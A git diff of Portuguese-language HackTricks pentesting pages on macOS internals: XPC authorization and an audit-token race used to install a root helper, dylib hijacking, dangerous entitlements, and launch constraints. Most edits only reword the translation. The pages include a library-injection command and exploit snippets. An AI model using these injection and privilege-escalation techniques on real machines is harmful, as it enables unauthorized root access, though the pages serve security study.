* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -21,11 +21,11 @@ Ele cria dois pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127]
Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem via o pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem através do pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
```c
struct MessageHeader
{

View file

@ -153,7 +153,7 @@ return FALSE;
}
</code></pre>
Verifique o seguinte código para usar o código gerado para criar um servidor e cliente simples onde o cliente pode chamar as funções Subtrair do servidor:
Verifique o código a seguir para usar o código gerado para criar um servidor e cliente simples, onde o cliente pode chamar as funções Subtrair do servidor:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -215,7 +215,8 @@ int main(int argc, char *argv[]) {
exit(1);
}
printf("Received reply: %s\n", reply);
// Print the server's reply
printf("Server replied: %s\n", reply);
return 0;
}
@ -276,7 +277,7 @@ rax = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (o ID de início)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// Se - senão, o se retorna falso, enquanto o senão chama a função correta e retorna verdadeiro
// Se - senão, o if retorna falso, enquanto o else chama a função correta e retorna verdadeiro
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -343,7 +344,7 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// Mesmo se senão que na versão anterior
// Mesmo if else que na versão anterior
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
@ -377,10 +378,10 @@ return r0;
Na verdade, se você for para a função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**, o primeiro elemento da struct é o endereço onde a função é implementada e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Esses dados podem ser extraídos [**usando este script do Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
<details>

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -262,7 +262,7 @@ Você pode encontrar **todas as configurações de permissões** [**aqui**](http
* Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
* Isso é usado em **combinação com uma das 2 opções abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
2. **'allow-root': 'true'**
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderá potencialmente obter esse direito sem autenticação adicional. No entanto, normalmente, alcançar o status de usuário root já requer autenticação, portanto, essa não é uma situação de "sem autenticação" para a maioria dos usuários.
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderá potencialmente obter esse direito sem autenticação adicional. No entanto, normalmente, alcançar o status de usuário root já requer autenticação, portanto, isso não é um cenário de "sem autenticação" para a maioria dos usuários.
3. **'session-owner': 'true'**
* Se definido como `true`, o proprietário da sessão (o usuário atualmente conectado) receberá automaticamente esse direito. Isso pode ignorar autenticação adicional se o usuário já estiver conectado.
4. **'shared': 'true'**
@ -286,7 +286,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`**, provavelmente o processo está usando o esquema mencionado anteriormente para autorização:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Assim, se essa função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando o [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
@ -342,7 +342,7 @@ Neste exemplo é criado:
* A definição do protocolo com as funções
* Uma autenticação vazia para ser usada para solicitar acesso
* Uma conexão com o serviço XPC
* Uma chamada à função se a conexão foi bem-sucedida
* Uma chamada à função se a conexão for bem-sucedida
```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl

View file

@ -43,7 +43,7 @@ O que é interessante saber é que a **abstração do XPC é uma conexão um par
Embora a situação anterior pareça promissora, existem alguns cenários em que isso não causará problemas:
* Os tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para a porta de serviço, **ainda não há conexão estabelecida**. Mais mensagens nesta porta serão tratadas como solicitações de conexão adicionais. Portanto, **as verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando por conexões XPC que verifiquem ações específicas**.
* Os tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para a porta de serviço, **ainda não há uma conexão estabelecida**. Mais mensagens nesta porta serão tratadas como solicitações de conexão adicionais. Portanto, **as verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando por conexões XPC que verifiquem ações específicas**.
* Os manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho simultâneas. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não de resposta!).
Isso nos deu a ideia de dois métodos diferentes em que isso pode ser possível:
@ -74,7 +74,7 @@ Cenário:
Nesse caso, um atacante poderia desencadear uma **Condição de Corrida** criando um **exploit** que **solicita que A execute uma ação** várias vezes enquanto **B envia mensagens para A**. Quando a CC é **bem-sucedida**, o **token de auditoria** de **B** será copiado na memória **enquanto** a solicitação de nosso **exploit** está sendo **tratada** por A, dando a ele **acesso à ação privilegiada que apenas B poderia solicitar**.
{% endhint %}
Isso aconteceu com **A** como `smd` e **B** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) do smb pode ser usada para instalar uma nova ferramenta auxiliar privilegiada (como **root**). Se um **processo em execução como root** entrar em contato com **smd**, nenhuma outra verificação será realizada.
Isso aconteceu com **A** como `smd` e **B** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb pode ser usada para instalar uma nova ferramenta auxiliar privilegiada (como **root**). Se um **processo em execução como root** entrar em contato com **smd**, nenhuma outra verificação será realizada.
Portanto, o serviço **B** é **`diagnosticd`** porque ele é executado como **root** e pode ser usado para **monitorar** um processo, então, uma vez que a monitoração é iniciada, ele **enviará várias mensagens por segundo**.
@ -85,7 +85,7 @@ Para realizar o ataque:
3. Isso significa que podemos enviar mensagens XPC para `diagnosticd`, mas qualquer **mensagem que `diagnosticd` envie vai para `smd`**.
* Para `smd`, tanto nossas mensagens quanto as mensagens de `diagnosticd` chegam na mesma conexão.
<figure><img src="../../../../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
4. Pedimos a **`diagnosticd`** para **iniciar a monitoração** de nosso (ou qualquer outro) processo e **enviamos mensagens de rotina 1004 para `smd`** (para instalar uma ferramenta privilegiada).
5. Isso cria uma condição de corrida que precisa atingir uma janela muito específica em `handle_bless`. Precisamos que a chamada para `xpc_connection_get_pid` retorne o PID de nosso próprio processo, pois a ferramenta auxiliar privilegiada está no pacote do nosso aplicativo. No entanto, a chamada para `xpc_connection_get_audit_token` dentro da função `connection_is_authorized` deve usar o token de auditoria de `diagnosticd`.
@ -108,11 +108,11 @@ Para esse cenário, precisaríamos de:
Aguardamos _A_ nos enviar uma mensagem que espera uma resposta (1), em vez de responder, pegamos a porta de resposta e a usamos para uma mensagem que enviamos para _B_ (2). Em seguida, enviamos uma mensagem que usa a ação proibida e esperamos que ela chegue simultaneamente com a resposta de _B_ (3).
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Problemas de Descoberta
Passamos muito tempo tentando encontrar outras instâncias, mas as condições dificultaram a busca tanto estática quanto dinamicamente. Para procurar chamadas assíncronas para `xpc_connection_get_audit_token`, usamos o Frida para fazer hook nessa função e verificar se o backtrace inclui `_xpc_connection_mach_event` (o que significa que não é chamado de um manipulador de eventos). Mas isso só encontra chamadas no processo que estamos conectados atualmente e nas ações que estão sendo usadas ativamente. Analisar todos os serviços mach alcançáveis no IDA/Ghidra foi muito demorado, especialmente quando as chamadas envolviam o cache compartilhado do dyld. Tentamos criar um script para procurar chamadas para `xpc_connection_get_audit_token` alcançáveis a partir de um bloco enviado usando `dispatch_async`, mas analisar blocos e chamadas passando pelo cache compartilhado do dyld tornou isso difícil também. Depois de gastar um tempo com isso, decidimos que seria melhor enviar o que tínhamos.
Passamos muito tempo tentando encontrar outras instâncias, mas as condições dificultaram a busca tanto estática quanto dinamicamente. Para procurar chamadas assíncronas para `xpc_connection_get_audit_token`, usamos o Frida para fazer hook nessa função e verificar se o backtrace inclui `_xpc_connection_mach_event` (o que significa que não é chamado de um manipulador de eventos). Mas isso só encontra chamadas no processo em que estamos conectados atualmente e nas ações que estão sendo usadas ativamente. Analisar todos os serviços mach alcançáveis no IDA/Ghidra foi muito demorado, especialmente quando as chamadas envolviam o cache compartilhado do dyld. Tentamos criar um script para procurar chamadas para `xpc_connection_get_audit_token` alcançáveis a partir de um bloco enviado usando `dispatch_async`, mas analisar blocos e chamadas passando pelo cache compartilhado do dyld tornou isso difícil também. Depois de gastar um tempo com isso, decidimos que seria melhor enviar o que tínhamos.
## A solução <a href="#a-solução" id="a-solução"></a>
No final, relatamos o problema geral e o problema específico no `smd`. A Apple corrigiu apenas no `smd`, substituindo a chamada para `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.

View file

@ -33,7 +33,7 @@ Na função **`processRestricted`**, o motivo da restrição é definido. Verifi
* O binário é `setuid/setgid`
* Existência da seção `__RESTRICT/__restrict` no binário macho.
* O software possui direitos (tempo de execução endurecido) sem a concessão [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) ou [`com.apple.security.cs.disable-library-validation`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
* O software possui direitos (tempo de execução endurecido) sem a permissão [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) ou [`com.apple.security.cs.disable-library-validation`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)`/` [`com.apple.private.security.clear-library-validation`](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
* Verifique os **direitos** de um binário com: `codesign -dv --entitlements :- </path/to/bin>`
* Se a biblioteca for assinada com um certificado diferente do binário
* Se a biblioteca e o binário forem assinados com o mesmo certificado, isso ignorará as restrições anteriores
@ -59,7 +59,7 @@ Lembre-se de que **restrições anteriores também se aplicam** para realizar at
Assim como no Windows, no MacOS também é possível **sequestrar dylibs** para fazer com que **aplicativos executem** **código arbitrário**.\
No entanto, a maneira como os aplicativos do **MacOS** carregam bibliotecas é **mais restrita** do que no Windows. Isso implica que os desenvolvedores de **malware** ainda podem usar essa técnica para **furtividade**, mas a probabilidade de poder **abusar disso para elevar privilégios é muito menor**.
Em primeiro lugar, é **mais comum** encontrar que os binários do **MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E em segundo lugar, o **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas.
Em primeiro lugar, é **mais comum** encontrar que os **binários do MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E em segundo lugar, o **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas.
A **parte principal** do **código** relacionado a essa funcionalidade está em **`ImageLoader::recursiveLoadLibraries`** em `ImageLoader.cpp`.
@ -98,7 +98,7 @@ compatibility version 1.0.0
* Quando usado em um **dylib**, **`@loader_path`** fornece o **caminho** para o **dylib**.
{% endhint %}
A maneira de **elevar privilégios** abusando dessa funcionalidade seria no caso raro de um **aplicativo** sendo executado **por** **root** estar **procurando** por alguma **biblioteca em alguma pasta onde o invasor tem permissões de gravação**.
A maneira de **elevar privilégios** abusando dessa funcionalidade seria no caso raro de um **aplicativo** sendo executado **por** **root** estar **procurando** por alguma **biblioteca em alguma pasta onde o invasor tenha permissões de gravação**.
{% hint style="success" %}
Um bom **scanner** para encontrar **bibliotecas ausentes** em aplicativos é o [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou uma [**versão CLI**](https://github.com/pandazheng/DylibHijack).\
@ -281,9 +281,9 @@ The `__RESTRICT` section is a segment in macOS that is used to restrict the exec
The `__restrict` segment is specifically used to enforce restrictions on library injection. Library injection is a technique where a malicious library is injected into a legitimate process, allowing the attacker to execute arbitrary code within the context of that process.
By utilizing the `__restrict` segment in the `__RESTRICT` section, macOS can prevent library injection by restricting the loading of external libraries into processes. This helps to ensure the integrity and security of the system by preventing unauthorized code execution.
By utilizing the `__restrict` segment, macOS can prevent library injection by restricting the loading of libraries from certain locations or by enforcing code signing requirements. This helps to ensure the integrity and security of the system by preventing unauthorized modifications to processes.
It is important to note that the effectiveness of the `__restrict` segment depends on the implementation and configuration of the system. Proper hardening measures should be taken to ensure that the `__restrict` segment is properly enforced and that processes are adequately protected against library injection attacks.
It is important for developers and system administrators to understand the functionality of the `__RESTRICT` section and the `__restrict` segment in order to effectively secure macOS systems against privilege escalation and unauthorized access.
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict

View file

@ -46,9 +46,9 @@ O Sandbox do macOS **limita as aplicações** em execução dentro do sandbox à
[macos-tcc](macos-tcc/)
{% endcontent-ref %}
### Restrições de Inicialização
### Restrições de Lançamento/Ambiente e Cache de Confiança
As restrições de inicialização no macOS são um recurso de segurança para **regular a inicialização de processos**, definindo **quem pode iniciar** um processo, **como** e **de onde**. Introduzidas no macOS Ventura, elas categorizam os binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem **regras** definidas para sua **inicialização**, incluindo restrições **próprias**, **dos pais** e **responsáveis**. Estendidas para aplicativos de terceiros como Restrições de **Ambiente** no macOS Sonoma, esses recursos ajudam a mitigar possíveis explorações do sistema, governando as condições de inicialização do processo.
As restrições de lançamento no macOS são um recurso de segurança para **regular a inicialização do processo** definindo **quem pode iniciar** um processo, **como** e **de onde**. Introduzido no macOS Ventura, eles categorizam os binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem regras definidas para seu lançamento, incluindo restrições **próprias**, **dos pais** e **responsáveis**. Estendidos para aplicativos de terceiros como Restrições de **Ambiente** no macOS Sonoma, esses recursos ajudam a mitigar possíveis explorações do sistema, governando as condições de lançamento do processo.
{% content-ref url="macos-launch-environment-constraints.md" %}
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)

View file

@ -26,7 +26,7 @@ A permissão **`com.apple.rootless.install.heritable`** permite **burlar o SIP**
A permissão **`com.apple.rootless.install`** permite **burlar o SIP**. Verifique [isto para mais informações](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (anteriormente chamado `task_for_pid-allow`)**
### **`com.apple.system-task-ports` (anteriormente chamado de `task_for_pid-allow`)**
Essa permissão permite obter a **porta da tarefa para qualquer** processo, exceto o kernel. Verifique [**isto para mais informações**](../mac-os-architecture/macos-ipc-inter-process-communication/).
@ -42,6 +42,11 @@ Aplicativos com a Permissão da Ferramenta de Depuração podem chamar `task_for
Essa permissão permite **carregar frameworks, plug-ins ou bibliotecas sem serem assinados pela Apple ou assinados com o mesmo ID de equipe** que o executável principal, portanto, um invasor pode abusar de alguma carga de biblioteca arbitrária para injetar código. Verifique [**isto para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Essa permissão é muito semelhante a **`com.apple.security.cs.disable-library-validation`**, mas **em vez disso** de **desabilitar diretamente** a validação da biblioteca, ela permite que o processo **chame uma chamada de sistema `csops` para desabilitá-la**.\
Verifique [**isto para mais informações**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Essa permissão permite **usar variáveis de ambiente DYLD** que podem ser usadas para injetar bibliotecas e código. Verifique [**isto para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
@ -65,7 +70,19 @@ TODO: Em [**este relatório**](https://jhftss.github.io/The-Nightmare-of-Apple-O
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: Em [**este relatório**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **é mencionado que isso poderia ser usado para** atualizar o conteúdo protegido por SSV após uma reinicialização. Se você souber como, envie um PR, por favor!
### `keychain-access-groups`
Esta lista de privilégios **keychain** agrupa os grupos de chave aos quais a aplicação tem acesso:
```xml
<key>keychain-access-groups</key>
<array>
<string>ichat</string>
<string>apple</string>
<string>appleaccount</string>
<string>InternetAccounts</string>
<string>IMCore</string>
</array>
```
### **`kTCCServiceSystemPolicyAllFiles`**
Concede permissões de **Acesso Total ao Disco**, uma das permissões mais altas do TCC que você pode ter.
@ -73,13 +90,16 @@ Concede permissões de **Acesso Total ao Disco**, uma das permissões mais altas
### **`kTCCServiceAppleEvents`**
Permite que o aplicativo envie eventos para outros aplicativos que são comumente usados para **automatizar tarefas**. Controlando outros aplicativos, ele pode abusar das permissões concedidas a esses outros aplicativos.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Permite **alterar** o atributo **`NFSHomeDirectory`** de um usuário que altera sua pasta inicial e, portanto, permite **burlar o TCC**.
Permite **alterar** o atributo **`NFSHomeDirectory`** de um usuário que altera sua pasta pessoal e, portanto, permite **burlar o TCC**.
### **`kTCCServiceSystemPolicyAppBundles`**
Permite modificar aplicativos dentro de suas pastas (dentro de app.app), o que é desativado por padrão.
Permite modificar arquivos dentro do pacote de aplicativos (dentro do app.app), o que é **desativado por padrão**.
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
## Médio
@ -92,7 +112,7 @@ Essa permissão permite **criar memória que pode ser gravada e executada** pass
Essa permissão permite **sobrescrever ou corrigir código C**, usar o **`NSCreateObjectFileImageFromMemory`** (que é fundamentalmente inseguro) ou usar o framework **DVDPlayback**. Verifique [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Incluir essa permissão expõe seu aplicativo a vulnerabilidades comuns em linguagens de código inseguro em memória. Considere cuidadosamente se seu aplicativo precisa dessa exceção.
Incluir essa permissão expõe seu aplicativo a vulnerabilidades comuns em linguagens de código inseguro na memória. Considere cuidadosamente se seu aplicativo precisa dessa exceção.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
@ -100,7 +120,7 @@ Incluir essa permissão expõe seu aplicativo a vulnerabilidades comuns em lingu
Essa permissão permite **modificar seções de seus próprios arquivos executáveis** no disco para sair forçadamente. Verifique [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
A permissão de Desabilitar Proteção de Memória Executável é uma permissão extrema que remove uma proteção de segurança fundamental do seu aplicativo, tornando possível que um invasor reescreva o código executável do seu aplicativo sem detecção. Prefira permissões mais restritas, se possível.
A Permissão de Desativação de Proteção de Memória Executável é uma permissão extrema que remove uma proteção de segurança fundamental do seu aplicativo, tornando possível que um invasor reescreva o código executável do seu aplicativo sem detecção. Prefira permissões mais restritas, se possível.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`

View file

@ -29,7 +29,7 @@ Existem 4 tipos de restrições:
* **Restrições Responsáveis**: Restrições aplicadas ao **processo que chama o serviço** em uma comunicação XPC.
* **Restrições de Carregamento de Biblioteca**: Use restrições de carregamento de biblioteca para descrever seletivamente o código que pode ser carregado.
Portanto, quando um processo tenta iniciar outro processo - chamando `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` - o sistema operacional verifica se o **arquivo executável** satisfaz sua **própria restrição**. Ele também verifica se o **executável do processo pai** satisfaz a **restrição do pai do executável**, e se o **executável do processo responsável** satisfaz a **restrição do processo responsável** do executável. Se alguma dessas restrições de inicialização não for satisfeita, o sistema operacional não executa o programa.
Portanto, quando um processo tenta iniciar outro processo - chamando `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` - o sistema operacional verifica se o **arquivo executável** satisfaz sua **própria restrição**. Ele também verifica se o **executável do processo pai** satisfaz a **restrição do processo pai** do executável e se o **executável do processo responsável** satisfaz a **restrição do processo responsável** do executável. Se alguma dessas restrições de inicialização não for satisfeita, o sistema operacional não executa o programa.
Se ao carregar uma biblioteca qualquer parte da **restrição da biblioteca não for verdadeira**, seu processo **não carrega** a biblioteca.
@ -40,7 +40,7 @@ Um LC é composto por **fatos** e **operações lógicas** (e, ou...) que combin
Os [**fatos que um LC pode usar são documentados**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Por exemplo:
* is-init-proc: Um valor booleano que indica se o executável deve ser o processo de inicialização do sistema operacional (`launchd`).
* is-sip-protected: Um valor booleano que indica se o executável deve ser um arquivo protegido pelo Sistema de Proteção de Integridade (SIP).
* is-sip-protected: Um valor booleano que indica se o executável deve ser um arquivo protegido pelo System Integrity Protection (SIP).
* `on-authorized-authapfs-volume:` Um valor booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* `on-authorized-authapfs-volume`: Um valor booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* Volume Cryptexes
@ -110,7 +110,7 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Outra opção poderia ser usar a ferramenta [**img4tool**](https://github.com/tihmstar/img4tool), que funcionará mesmo no M1 mesmo se a versão for antiga e para x86\_64 se você instalá-la nos locais adequados).
(Outra opção seria usar a ferramenta [**img4tool**](https://github.com/tihmstar/img4tool), que funcionará mesmo no M1, mesmo que a versão seja antiga e para x86\_64 se você instalá-la nos locais adequados).
Agora você pode usar a ferramenta [**trustcache**](https://github.com/CRKatri/trustcache) para obter as informações em um formato legível:
```bash
@ -136,7 +136,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
O cache de confiança segue a seguinte estrutura, então a **categoria LC é a coluna**.
O cache de confiança segue a seguinte estrutura, então a **categoria LC é a quarta coluna**.
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -160,7 +160,7 @@ No entanto, elas **não mitigam abusos comuns de XPC**, injeções de código **
### Proteção do Daemon XPC
No momento em que este texto foi escrito (lançamento Sonoma), o **processo responsável** pelo serviço XPC do daemon **é o próprio serviço XPC** em vez do cliente conectado. (Enviado FB: FB13206884). Supondo por um segundo que seja um bug, ainda **não seremos capazes de iniciar o serviço XPC em nosso código de ataque**, mas se ele já estiver **ativo** (talvez porque tenha sido invocado pelo aplicativo original), nada impede que nos **conectemos a ele**. Portanto, embora definir a restrição possa ser uma boa ideia e **limitaria o tempo de ataque**, isso não resolve o problema principal, e nosso serviço XPC ainda deve validar corretamente o cliente conectado. Essa ainda é a única maneira de protegê-lo. Além disso, como mencionado no início, nem funciona mais dessa maneira.
No momento em que este texto foi escrito (lançamento Sonoma), o **processo responsável** pelo serviço XPC do daemon **é o próprio serviço XPC** em vez do cliente conectado. (Enviado FB: FB13206884). Supondo por um segundo que seja um bug, ainda **não seremos capazes de iniciar o serviço XPC em nosso código de ataque**, mas se ele já estiver **ativo** (talvez porque tenha sido invocado pelo aplicativo original), nada nos impede de **conectar a ele**. Portanto, embora definir a restrição possa ser uma boa ideia e **limitaria o tempo de ataque**, isso não resolve o problema principal, e nosso serviço XPC ainda deve validar corretamente o cliente conectado. Essa ainda é a única maneira de protegê-lo. Além disso, como mencionado no início, nem funciona mais dessa maneira.
### Proteção do Electron

View file

@ -12,9 +12,9 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -133,7 +133,7 @@ Você pode ver isso no [próximo tutorial](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -143,7 +143,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
